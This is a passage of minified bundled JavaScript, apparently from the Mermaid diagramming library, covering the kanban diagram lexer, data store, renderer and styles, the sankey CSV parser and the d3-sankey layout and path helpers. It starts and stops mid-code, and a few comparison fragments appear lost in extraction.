    "),24;break;case 4:return 24;case 5:this.popState();break;case 6:return R.getLogger().trace("Found comment",I.yytext),6;break;case 7:return 8;case 8:this.begin("CLASS");break;case 9:return this.popState(),17;break;case 10:this.popState();break;case 11:R.getLogger().trace("Begin icon"),this.begin("ICON");break;case 12:return R.getLogger().trace("SPACELINE"),6;break;case 13:return 7;case 14:return 16;case 15:R.getLogger().trace("end icon"),this.popState();break;case 16:return R.getLogger().trace("Exploding node"),this.begin("NODE"),20;break;case 17:return R.getLogger().trace("Cloud"),this.begin("NODE"),20;break;case 18:return R.getLogger().trace("Explosion Bang"),this.begin("NODE"),20;break;case 19:return R.getLogger().trace("Cloud Bang"),this.begin("NODE"),20;break;case 20:return this.begin("NODE"),20;break;case 21:return this.begin("NODE"),20;break;case 22:return this.begin("NODE"),20;break;case 23:return this.begin("NODE"),20;break;case 24:return 13;case 25:return 23;case 26:return 11;case 27:this.begin("NSTR2");break;case 28:return"NODE_DESCR";case 29:this.popState();break;case 30:R.getLogger().trace("Starting NSTR"),this.begin("NSTR");break;case 31:return R.getLogger().trace("description:",I.yytext),"NODE_DESCR";break;case 32:this.popState();break;case 33:return this.popState(),R.getLogger().trace("node end ))"),"NODE_DEND";break;case 34:return this.popState(),R.getLogger().trace("node end )"),"NODE_DEND";break;case 35:return this.popState(),R.getLogger().trace("node end ...",I.yytext),"NODE_DEND";break;case 36:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 37:return this.popState(),R.getLogger().trace("node end (-"),"NODE_DEND";break;case 38:return this.popState(),R.getLogger().trace("node end (-"),"NODE_DEND";break;case 39:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 40:return this.popState(),R.getLogger().trace("node end (("),"NODE_DEND";break;case 41:return R.getLogger().trace("Long description:",I.yytext),21;break;case 42:return R.getLogger().trace("Long description:",I.yytext),21;break}},"anonymous"),rules:[/^(?:@\{)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^\"]+)/i,/^(?:[^}^"]+)/i,/^(?:\})/i,/^(?:\s*%%.*)/i,/^(?:kanban\b)/i,/^(?::::)/i,/^(?:.+)/i,/^(?:\n)/i,/^(?:::icon\()/i,/^(?:[\s]+[\n])/i,/^(?:[\n]+)/i,/^(?:[^\)]+)/i,/^(?:\))/i,/^(?:-\))/i,/^(?:\(-)/i,/^(?:\)\))/i,/^(?:\))/i,/^(?:\(\()/i,/^(?:\{\{)/i,/^(?:\()/i,/^(?:\[)/i,/^(?:[\s]+)/i,/^(?:[^\(\[\n\)\{\}@]+)/i,/^(?:$)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:[^"]+)/i,/^(?:["])/i,/^(?:[\)]\))/i,/^(?:[\)])/i,/^(?:[\]])/i,/^(?:\}\})/i,/^(?:\(-)/i,/^(?:-\))/i,/^(?:\(\()/i,/^(?:\()/i,/^(?:[^\)\]\(\}]+)/i,/^(?:.+(?!\(\())/i],conditions:{shapeDataEndBracket:{rules:[],inclusive:!1},shapeDataStr:{rules:[2,3],inclusive:!1},shapeData:{rules:[1,4,5],inclusive:!1},CLASS:{rules:[9,10],inclusive:!1},ICON:{rules:[14,15],inclusive:!1},NSTR2:{rules:[28,29],inclusive:!1},NSTR:{rules:[31,32],inclusive:!1},NODE:{rules:[27,30,33,34,35,36,37,38,39,40,41,42],inclusive:!1},INITIAL:{rules:[0,6,7,8,11,12,13,16,17,18,19,20,21,22,23,24,25,26],inclusive:!0}}};return A})();S.lexer=w;function k(){this.yy={}}return o(k,"Parser"),k.prototype=S,S.Parser=k,new k})();q$.parser=q$;txe=q$});var ol,Y$,W$,X$,Itt,Ott,nxe,Ptt,Btt,Ui,Ftt,$tt,ztt,Gtt,Vtt,Utt,Htt,ixe,axe=N(()=>{"use strict";Xt();gr();pt();La();w2();ol=[],Y$=[],W$=0,X$={},Itt=o(()=>{ol=[],Y$=[],W$=0,X$={}},"clear"),Ott=o(t=>{if(ol.length===0)return null;let e=ol[0].level,r=null;for(let n=ol.length-1;n>=0;n--)if(ol[n].level===e&&!r&&(r=ol[n]),ol[n].levell.parentId===i.id);for(let l of s){let u={id:l.id,parentId:i.id,label:sr(l.label??"",n),isGroup:!1,ticket:l?.ticket,priority:l?.priority,assigned:l?.assigned,icon:l?.icon,shape:"kanbanItem",level:l.level,rx:5,ry:5,cssStyles:["text-align: left"]};e.push(u)}}return{nodes:e,edges:t,other:{},config:ge()}},"getData"),Btt=o((t,e,r,n,i)=>{let a=ge(),s=a.mindmap?.padding??ur.mindmap.padding;switch(n){case Ui.ROUNDED_RECT:case Ui.RECT:case Ui.HEXAGON:s*=2}let l={id:sr(e,a)||"kbn"+W$++,level:t,label:sr(r,a),width:a.mindmap?.maxNodeWidth??ur.mindmap.maxNodeWidth,padding:s,isGroup:!1};if(i!==void 0){let h;i.includes(` +`)?h=i+` +`:h=`{ +`+i+` +}`;let f=Kh(h,{schema:jh});if(f.shape&&(f.shape!==f.shape.toLowerCase()||f.shape.includes("_")))throw new Error(`No such shape: ${f.shape}. Shape names should be lowercase.`);f?.shape&&f.shape==="kanbanItem"&&(l.shape=f?.shape),f?.label&&(l.label=f?.label),f?.icon&&(l.icon=f?.icon.toString()),f?.assigned&&(l.assigned=f?.assigned.toString()),f?.ticket&&(l.ticket=f?.ticket.toString()),f?.priority&&(l.priority=f?.priority)}let u=Ott(t);u?l.parentId=u.id||"kbn"+W$++:Y$.push(l),ol.push(l)},"addNode"),Ui={DEFAULT:0,NO_BORDER:0,ROUNDED_RECT:1,RECT:2,CIRCLE:3,CLOUD:4,BANG:5,HEXAGON:6},Ftt=o((t,e)=>{switch(X.debug("In get type",t,e),t){case"[":return Ui.RECT;case"(":return e===")"?Ui.ROUNDED_RECT:Ui.CLOUD;case"((":return Ui.CIRCLE;case")":return Ui.CLOUD;case"))":return Ui.BANG;case"{{":return Ui.HEXAGON;default:return Ui.DEFAULT}},"getType"),$tt=o((t,e)=>{X$[t]=e},"setElementForId"),ztt=o(t=>{if(!t)return;let e=ge(),r=ol[ol.length-1];t.icon&&(r.icon=sr(t.icon,e)),t.class&&(r.cssClasses=sr(t.class,e))},"decorateNode"),Gtt=o(t=>{switch(t){case Ui.DEFAULT:return"no-border";case Ui.RECT:return"rect";case Ui.ROUNDED_RECT:return"rounded-rect";case Ui.CIRCLE:return"circle";case Ui.CLOUD:return"cloud";case Ui.BANG:return"bang";case Ui.HEXAGON:return"hexgon";default:return"no-border"}},"type2Str"),Vtt=o(()=>X,"getLogger"),Utt=o(t=>X$[t],"getElementById"),Htt={clear:Itt,addNode:Btt,getSections:nxe,getData:Ptt,nodeType:Ui,getType:Ftt,setElementForId:$tt,decorateNode:ztt,type2Str:Gtt,getLogger:Vtt,getElementById:Utt},ixe=Htt});var qtt,sxe,oxe=N(()=>{"use strict";Xt();pt();tu();Ei();La();cw();bw();qtt=o(async(t,e,r,n)=>{X.debug(`Rendering kanban diagram +`+t);let a=n.db.getData(),s=ge();s.htmlLabels=!1;let l=aa(e),u=l.append("g");u.attr("class","sections");let h=l.append("g");h.attr("class","items");let f=a.nodes.filter(v=>v.isGroup),d=0,p=10,m=[],g=25;for(let v of f){let x=s?.kanban?.sectionWidth||200;d=d+1,v.x=x*d+(d-1)*p/2,v.width=x,v.y=0,v.height=x*3,v.rx=5,v.ry=5,v.cssClasses=v.cssClasses+" section-"+d;let b=await Sm(u,v);g=Math.max(g,b?.labelBBox?.height),m.push(b)}let y=0;for(let v of f){let x=m[y];y=y+1;let b=s?.kanban?.sectionWidth||200,T=-b*3/2+g,S=T,w=a.nodes.filter(C=>C.parentId===v.id);for(let C of w){if(C.isGroup)throw new Error("Groups within groups are not allowed in Kanban diagrams");C.x=v.x,C.width=b-1.5*p;let I=(await Cm(h,C,{config:s})).node().getBBox();C.y=S+I.height/2,await P2(C),S=C.y+I.height/2+p/2}let k=x.cluster.select("rect"),A=Math.max(S-T+3*p,50)+(g-25);k.attr("height",A)}ic(void 0,l,s.mindmap?.padding??ur.kanban.padding,s.mindmap?.useMaxWidth??ur.kanban.useMaxWidth)},"draw"),sxe={draw:qtt}});var Wtt,Ytt,lxe,cxe=N(()=>{"use strict";eo();yg();Wtt=o(t=>{let e="";for(let n=0;nt.darkMode?Pt(n,i):Rt(n,i),"adjuster");for(let n=0;n` + .edge { + stroke-width: 3; + } + ${Wtt(t)} + .section-root rect, .section-root path, .section-root circle, .section-root polygon { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .cluster-label, .label { + color: ${t.textColor}; + fill: ${t.textColor}; + } + .kanban-label { + dy: 1em; + alignment-baseline: middle; + text-anchor: middle; + dominant-baseline: middle; + text-align: center; + } + ${zc()} +`,"getStyles"),lxe=Ytt});var uxe={};dr(uxe,{diagram:()=>Xtt});var Xtt,hxe=N(()=>{"use strict";rxe();axe();oxe();cxe();Xtt={db:ixe,renderer:sxe,parser:txe,styles:lxe}});var j$,A4,pxe=N(()=>{"use strict";j$=(function(){var t=o(function(l,u,h,f){for(h=h||{},f=l.length;f--;h[l[f]]=u);return h},"o"),e=[1,9],r=[1,10],n=[1,5,10,12],i={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SANKEY:4,NEWLINE:5,csv:6,opt_eof:7,record:8,csv_tail:9,EOF:10,"field[source]":11,COMMA:12,"field[target]":13,"field[value]":14,field:15,escaped:16,non_escaped:17,DQUOTE:18,ESCAPED_TEXT:19,NON_ESCAPED_TEXT:20,$accept:0,$end:1},terminals_:{2:"error",4:"SANKEY",5:"NEWLINE",10:"EOF",11:"field[source]",12:"COMMA",13:"field[target]",14:"field[value]",18:"DQUOTE",19:"ESCAPED_TEXT",20:"NON_ESCAPED_TEXT"},productions_:[0,[3,4],[6,2],[9,2],[9,0],[7,1],[7,0],[8,5],[15,1],[15,1],[16,3],[17,1]],performAction:o(function(u,h,f,d,p,m,g){var y=m.length-1;switch(p){case 7:let v=d.findOrCreateNode(m[y-4].trim().replaceAll('""','"')),x=d.findOrCreateNode(m[y-2].trim().replaceAll('""','"')),b=parseFloat(m[y].trim());d.addLink(v,x,b);break;case 8:case 9:case 11:this.$=m[y];break;case 10:this.$=m[y-1];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},{5:[1,3]},{6:4,8:5,15:6,16:7,17:8,18:e,20:r},{1:[2,6],7:11,10:[1,12]},t(r,[2,4],{9:13,5:[1,14]}),{12:[1,15]},t(n,[2,8]),t(n,[2,9]),{19:[1,16]},t(n,[2,11]),{1:[2,1]},{1:[2,5]},t(r,[2,2]),{6:17,8:5,15:6,16:7,17:8,18:e,20:r},{15:18,16:7,17:8,18:e,20:r},{18:[1,19]},t(r,[2,3]),{12:[1,20]},t(n,[2,10]),{15:21,16:7,17:8,18:e,20:r},t([1,5,10],[2,7])],defaultActions:{11:[2,1],12:[2,5]},parseError:o(function(u,h){if(h.recoverable)this.trace(u);else{var f=new Error(u);throw f.hash=h,f}},"parseError"),parse:o(function(u){var h=this,f=[0],d=[],p=[null],m=[],g=this.table,y="",v=0,x=0,b=0,T=2,S=1,w=m.slice.call(arguments,1),k=Object.create(this.lexer),A={yy:{}};for(var C in this.yy)Object.prototype.hasOwnProperty.call(this.yy,C)&&(A.yy[C]=this.yy[C]);k.setInput(u,A.yy),A.yy.lexer=k,A.yy.parser=this,typeof k.yylloc>"u"&&(k.yylloc={});var R=k.yylloc;m.push(R);var I=k.options&&k.options.ranges;typeof A.yy.parseError=="function"?this.parseError=A.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function L(Y){f.length=f.length-2*Y,p.length=p.length-Y,m.length=m.length-Y}o(L,"popStack");function E(){var Y;return Y=d.pop()||k.lex()||S,typeof Y!="number"&&(Y instanceof Array&&(d=Y,Y=d.pop()),Y=h.symbols_[Y]||Y),Y}o(E,"lex");for(var D,_,O,M,P,B,F={},G,$,U,j;;){if(O=f[f.length-1],this.defaultActions[O]?M=this.defaultActions[O]:((D===null||typeof D>"u")&&(D=E()),M=g[O]&&g[O][D]),typeof M>"u"||!M.length||!M[0]){var te="";j=[];for(G in g[O])this.terminals_[G]&&G>T&&j.push("'"+this.terminals_[G]+"'");k.showPosition?te="Parse error on line "+(v+1)+`: +`+k.showPosition()+` +Expecting `+j.join(", ")+", got '"+(this.terminals_[D]||D)+"'":te="Parse error on line "+(v+1)+": Unexpected "+(D==S?"end of input":"'"+(this.terminals_[D]||D)+"'"),this.parseError(te,{text:k.match,token:this.terminals_[D]||D,line:k.yylineno,loc:R,expected:j})}if(M[0]instanceof Array&&M.length>1)throw new Error("Parse Error: multiple actions possible at state: "+O+", token: "+D);switch(M[0]){case 1:f.push(D),p.push(k.yytext),m.push(k.yylloc),f.push(M[1]),D=null,_?(D=_,_=null):(x=k.yyleng,y=k.yytext,v=k.yylineno,R=k.yylloc,b>0&&b--);break;case 2:if($=this.productions_[M[1]][1],F.$=p[p.length-$],F._$={first_line:m[m.length-($||1)].first_line,last_line:m[m.length-1].last_line,first_column:m[m.length-($||1)].first_column,last_column:m[m.length-1].last_column},I&&(F._$.range=[m[m.length-($||1)].range[0],m[m.length-1].range[1]]),B=this.performAction.apply(F,[y,x,v,A.yy,M[1],p,m].concat(w)),typeof B<"u")return B;$&&(f=f.slice(0,-1*$*2),p=p.slice(0,-1*$),m=m.slice(0,-1*$)),f.push(this.productions_[M[1]][0]),p.push(F.$),m.push(F._$),U=g[f[f.length-2]][f[f.length-1]],f.push(U);break;case 3:return!0}}return!0},"parse")},a=(function(){var l={EOF:1,parseError:o(function(h,f){if(this.yy.parser)this.yy.parser.parseError(h,f);else throw new Error(h)},"parseError"),setInput:o(function(u,h){return this.yy=h||this.yy||{},this._input=u,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var u=this._input[0];this.yytext+=u,this.yyleng++,this.offset++,this.match+=u,this.matched+=u;var h=u.match(/(?:\r\n?|\n).*/g);return h?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),u},"input"),unput:o(function(u){var h=u.length,f=u.split(/(?:\r\n?|\n)/g);this._input=u+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-h),this.offset-=h;var d=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),f.length-1&&(this.yylineno-=f.length-1);var p=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:f?(f.length===d.length?this.yylloc.first_column:0)+d[d.length-f.length].length-f[0].length:this.yylloc.first_column-h},this.options.ranges&&(this.yylloc.range=[p[0],p[0]+this.yyleng-h]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(u){this.unput(this.match.slice(u))},"less"),pastInput:o(function(){var u=this.matched.substr(0,this.matched.length-this.match.length);return(u.length>20?"...":"")+u.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var u=this.match;return u.length<20&&(u+=this._input.substr(0,20-u.length)),(u.substr(0,20)+(u.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var u=this.pastInput(),h=new Array(u.length+1).join("-");return u+this.upcomingInput()+` +`+h+"^"},"showPosition"),test_match:o(function(u,h){var f,d,p;if(this.options.backtrack_lexer&&(p={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(p.yylloc.range=this.yylloc.range.slice(0))),d=u[0].match(/(?:\r\n?|\n).*/g),d&&(this.yylineno+=d.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:d?d[d.length-1].length-d[d.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+u[0].length},this.yytext+=u[0],this.match+=u[0],this.matches=u,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(u[0].length),this.matched+=u[0],f=this.performAction.call(this,this.yy,this,h,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),f)return f;if(this._backtrack){for(var m in p)this[m]=p[m];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var u,h,f,d;this._more||(this.yytext="",this.match="");for(var p=this._currentRules(),m=0;mh[0].length)){if(h=f,d=m,this.options.backtrack_lexer){if(u=this.test_match(f,p[m]),u!==!1)return u;if(this._backtrack){h=!1;continue}else return!1}else if(!this.options.flex)break}return h?(u=this.test_match(h,p[d]),u!==!1?u:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var h=this.next();return h||this.lex()},"lex"),begin:o(function(h){this.conditionStack.push(h)},"begin"),popState:o(function(){var h=this.conditionStack.length-1;return h>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(h){return h=this.conditionStack.length-1-Math.abs(h||0),h>=0?this.conditionStack[h]:"INITIAL"},"topState"),pushState:o(function(h){this.begin(h)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(h,f,d,p){var m=p;switch(d){case 0:return this.pushState("csv"),4;break;case 1:return this.pushState("csv"),4;break;case 2:return 10;case 3:return 5;case 4:return 12;case 5:return this.pushState("escaped_text"),18;break;case 6:return 20;case 7:return this.popState("escaped_text"),18;break;case 8:return 19}},"anonymous"),rules:[/^(?:sankey-beta\b)/i,/^(?:sankey\b)/i,/^(?:$)/i,/^(?:((\u000D\u000A)|(\u000A)))/i,/^(?:(\u002C))/i,/^(?:(\u0022))/i,/^(?:([\u0020-\u0021\u0023-\u002B\u002D-\u007E])*)/i,/^(?:(\u0022)(?!(\u0022)))/i,/^(?:(([\u0020-\u0021\u0023-\u002B\u002D-\u007E])|(\u002C)|(\u000D)|(\u000A)|(\u0022)(\u0022))*)/i],conditions:{csv:{rules:[2,3,4,5,6,7,8],inclusive:!1},escaped_text:{rules:[7,8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8],inclusive:!0}}};return l})();i.lexer=a;function s(){this.yy={}}return o(s,"Parser"),s.prototype=i,i.Parser=s,new s})();j$.parser=j$;A4=j$});var kC,EC,wC,Ztt,K$,Jtt,Q$,ert,trt,rrt,nrt,mxe,gxe=N(()=>{"use strict";Xt();gr();ci();kC=[],EC=[],wC=new Map,Ztt=o(()=>{kC=[],EC=[],wC=new Map,Sr()},"clear"),K$=class{constructor(e,r,n=0){this.source=e;this.target=r;this.value=n}static{o(this,"SankeyLink")}},Jtt=o((t,e,r)=>{kC.push(new K$(t,e,r))},"addLink"),Q$=class{constructor(e){this.ID=e}static{o(this,"SankeyNode")}},ert=o(t=>{t=tt.sanitizeText(t,ge());let e=wC.get(t);return e===void 0&&(e=new Q$(t),wC.set(t,e),EC.push(e)),e},"findOrCreateNode"),trt=o(()=>EC,"getNodes"),rrt=o(()=>kC,"getLinks"),nrt=o(()=>({nodes:EC.map(t=>({id:t.ID})),links:kC.map(t=>({source:t.source.ID,target:t.target.ID,value:t.value}))}),"getGraph"),mxe={nodesMap:wC,getConfig:o(()=>ge().sankey,"getConfig"),getNodes:trt,getLinks:rrt,getGraph:nrt,addLink:Jtt,findOrCreateNode:ert,getAccTitle:Mr,setAccTitle:Rr,getAccDescription:Or,setAccDescription:Ir,getDiagramTitle:Pr,setDiagramTitle:$r,clear:Ztt}});function _4(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r=i)&&(r=i)}return r}var yxe=N(()=>{"use strict";o(_4,"max")});function dy(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r>n||r===void 0&&n>=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r>i||r===void 0&&i>=i)&&(r=i)}return r}var vxe=N(()=>{"use strict";o(dy,"min")});function py(t,e){let r=0;if(e===void 0)for(let n of t)(n=+n)&&(r+=n);else{let n=-1;for(let i of t)(i=+e(i,++n,t))&&(r+=i)}return r}var xxe=N(()=>{"use strict";o(py,"sum")});var Z$=N(()=>{"use strict";yxe();vxe();xxe()});function irt(t){return t.target.depth}function J$(t){return t.depth}function ez(t,e){return e-1-t.height}function D4(t,e){return t.sourceLinks.length?t.depth:e-1}function tz(t){return t.targetLinks.length?t.depth:t.sourceLinks.length?dy(t.sourceLinks,irt)-1:0}var rz=N(()=>{"use strict";Z$();o(irt,"targetDepth");o(J$,"left");o(ez,"right");o(D4,"justify");o(tz,"center")});function my(t){return function(){return t}}var bxe=N(()=>{"use strict";o(my,"constant")});function Txe(t,e){return SC(t.source,e.source)||t.index-e.index}function wxe(t,e){return SC(t.target,e.target)||t.index-e.index}function SC(t,e){return t.y0-e.y0}function nz(t){return t.value}function art(t){return t.index}function srt(t){return t.nodes}function ort(t){return t.links}function kxe(t,e){let r=t.get(e);if(!r)throw new Error("missing: "+e);return r}function Exe({nodes:t}){for(let e of t){let r=e.y0,n=r;for(let i of e.sourceLinks)i.y0=r+i.width/2,r+=i.width;for(let i of e.targetLinks)i.y1=n+i.width/2,n+=i.width}}function CC(){let t=0,e=0,r=1,n=1,i=24,a=8,s,l=art,u=D4,h,f,d=srt,p=ort,m=6;function g(){let O={nodes:d.apply(null,arguments),links:p.apply(null,arguments)};return y(O),v(O),x(O),b(O),w(O),Exe(O),O}o(g,"sankey"),g.update=function(O){return Exe(O),O},g.nodeId=function(O){return arguments.length?(l=typeof O=="function"?O:my(O),g):l},g.nodeAlign=function(O){return arguments.length?(u=typeof O=="function"?O:my(O),g):u},g.nodeSort=function(O){return arguments.length?(h=O,g):h},g.nodeWidth=function(O){return arguments.length?(i=+O,g):i},g.nodePadding=function(O){return arguments.length?(a=s=+O,g):a},g.nodes=function(O){return arguments.length?(d=typeof O=="function"?O:my(O),g):d},g.links=function(O){return arguments.length?(p=typeof O=="function"?O:my(O),g):p},g.linkSort=function(O){return arguments.length?(f=O,g):f},g.size=function(O){return arguments.length?(t=e=0,r=+O[0],n=+O[1],g):[r-t,n-e]},g.extent=function(O){return arguments.length?(t=+O[0][0],r=+O[1][0],e=+O[0][1],n=+O[1][1],g):[[t,e],[r,n]]},g.iterations=function(O){return arguments.length?(m=+O,g):m};function y({nodes:O,links:M}){for(let[B,F]of O.entries())F.index=B,F.sourceLinks=[],F.targetLinks=[];let P=new Map(O.map((B,F)=>[l(B,F,O),B]));for(let[B,F]of M.entries()){F.index=B;let{source:G,target:$}=F;typeof G!="object"&&(G=F.source=kxe(P,G)),typeof $!="object"&&($=F.target=kxe(P,$)),G.sourceLinks.push(F),$.targetLinks.push(F)}if(f!=null)for(let{sourceLinks:B,targetLinks:F}of O)B.sort(f),F.sort(f)}o(y,"computeNodeLinks");function v({nodes:O}){for(let M of O)M.value=M.fixedValue===void 0?Math.max(py(M.sourceLinks,nz),py(M.targetLinks,nz)):M.fixedValue}o(v,"computeNodeValues");function x({nodes:O}){let M=O.length,P=new Set(O),B=new Set,F=0;for(;P.size;){for(let G of P){G.depth=F;for(let{target:$}of G.sourceLinks)B.add($)}if(++F>M)throw new Error("circular link");P=B,B=new Set}}o(x,"computeNodeDepths");function b({nodes:O}){let M=O.length,P=new Set(O),B=new Set,F=0;for(;P.size;){for(let G of P){G.height=F;for(let{source:$}of G.targetLinks)B.add($)}if(++F>M)throw new Error("circular link");P=B,B=new Set}}o(b,"computeNodeHeights");function T({nodes:O}){let M=_4(O,F=>F.depth)+1,P=(r-t-i)/(M-1),B=new Array(M);for(let F of O){let G=Math.max(0,Math.min(M-1,Math.floor(u.call(null,F,M))));F.layer=G,F.x0=t+G*P,F.x1=F.x0+i,B[G]?B[G].push(F):B[G]=[F]}if(h)for(let F of B)F.sort(h);return B}o(T,"computeNodeLayers");function S(O){let M=dy(O,P=>(n-e-(P.length-1)*s)/py(P,nz));for(let P of O){let B=e;for(let F of P){F.y0=B,F.y1=B+F.value*M,B=F.y1+s;for(let G of F.sourceLinks)G.width=G.value*M}B=(n-B+s)/(P.length+1);for(let F=0;FP.length)-1)),S(M);for(let P=0;P0))continue;let te=(U/j-$.y0)*M;$.y0+=te,$.y1+=te,L($)}h===void 0&&G.sort(SC),C(G,P)}}o(k,"relaxLeftToRight");function A(O,M,P){for(let B=O.length,F=B-2;F>=0;--F){let G=O[F];for(let $ of G){let U=0,j=0;for(let{target:Y,value:oe}of $.sourceLinks){let J=oe*(Y.layer-$.layer);U+=_($,Y)*J,j+=J}if(!(j>0))continue;let te=(U/j-$.y0)*M;$.y0+=te,$.y1+=te,L($)}h===void 0&&G.sort(SC),C(G,P)}}o(A,"relaxRightToLeft");function C(O,M){let P=O.length>>1,B=O[P];I(O,B.y0-s,P-1,M),R(O,B.y1+s,P+1,M),I(O,n,O.length-1,M),R(O,e,0,M)}o(C,"resolveCollisions");function R(O,M,P,B){for(;P1e-6&&(F.y0+=G,F.y1+=G),M=F.y1+s}}o(R,"resolveCollisionsTopToBottom");function I(O,M,P,B){for(;P>=0;--P){let F=O[P],G=(F.y1-M)*B;G>1e-6&&(F.y0-=G,F.y1-=G),M=F.y0-s}}o(I,"resolveCollisionsBottomToTop");function L({sourceLinks:O,targetLinks:M}){if(f===void 0){for(let{source:{sourceLinks:P}}of M)P.sort(wxe);for(let{target:{targetLinks:P}}of O)P.sort(Txe)}}o(L,"reorderNodeLinks");function E(O){if(f===void 0)for(let{sourceLinks:M,targetLinks:P}of O)M.sort(wxe),P.sort(Txe)}o(E,"reorderLinks");function D(O,M){let P=O.y0-(O.sourceLinks.length-1)*s/2;for(let{target:B,width:F}of O.sourceLinks){if(B===M)break;P+=F+s}for(let{source:B,width:F}of M.targetLinks){if(B===O)break;P-=F}return P}o(D,"targetTop");function _(O,M){let P=M.y0-(M.targetLinks.length-1)*s/2;for(let{source:B,width:F}of M.targetLinks){if(B===O)break;P+=F+s}for(let{target:B,width:F}of O.sourceLinks){if(B===M)break;P-=F}return P}return o(_,"sourceTop"),g}var Sxe=N(()=>{"use strict";Z$();rz();bxe();o(Txe,"ascendingSourceBreadth");o(wxe,"ascendingTargetBreadth");o(SC,"ascendingBreadth");o(nz,"value");o(art,"defaultId");o(srt,"defaultNodes");o(ort,"defaultLinks");o(kxe,"find");o(Exe,"computeLinkBreadths");o(CC,"Sankey")});function sz(){this._x0=this._y0=this._x1=this._y1=null,this._=""}function Cxe(){return new sz}var iz,az,f0,lrt,oz,Axe=N(()=>{"use strict";iz=Math.PI,az=2*iz,f0=1e-6,lrt=az-f0;o(sz,"Path");o(Cxe,"path");sz.prototype=Cxe.prototype={constructor:sz,moveTo:o(function(t,e){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+e)},"moveTo"),closePath:o(function(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._+="Z")},"closePath"),lineTo:o(function(t,e){this._+="L"+(this._x1=+t)+","+(this._y1=+e)},"lineTo"),quadraticCurveTo:o(function(t,e,r,n){this._+="Q"+ +t+","+ +e+","+(this._x1=+r)+","+(this._y1=+n)},"quadraticCurveTo"),bezierCurveTo:o(function(t,e,r,n,i,a){this._+="C"+ +t+","+ +e+","+ +r+","+ +n+","+(this._x1=+i)+","+(this._y1=+a)},"bezierCurveTo"),arcTo:o(function(t,e,r,n,i){t=+t,e=+e,r=+r,n=+n,i=+i;var a=this._x1,s=this._y1,l=r-t,u=n-e,h=a-t,f=s-e,d=h*h+f*f;if(i<0)throw new Error("negative radius: "+i);if(this._x1===null)this._+="M"+(this._x1=t)+","+(this._y1=e);else if(d>f0)if(!(Math.abs(f*l-u*h)>f0)||!i)this._+="L"+(this._x1=t)+","+(this._y1=e);else{var p=r-a,m=n-s,g=l*l+u*u,y=p*p+m*m,v=Math.sqrt(g),x=Math.sqrt(d),b=i*Math.tan((iz-Math.acos((g+d-y)/(2*v*x)))/2),T=b/x,S=b/v;Math.abs(T-1)>f0&&(this._+="L"+(t+T*h)+","+(e+T*f)),this._+="A"+i+","+i+",0,0,"+ +(f*p>h*m)+","+(this._x1=t+S*l)+","+(this._y1=e+S*u)}},"arcTo"),arc:o(function(t,e,r,n,i,a){t=+t,e=+e,r=+r,a=!!a;var s=r*Math.cos(n),l=r*Math.sin(n),u=t+s,h=e+l,f=1^a,d=a?n-i:i-n;if(r<0)throw new Error("negative radius: 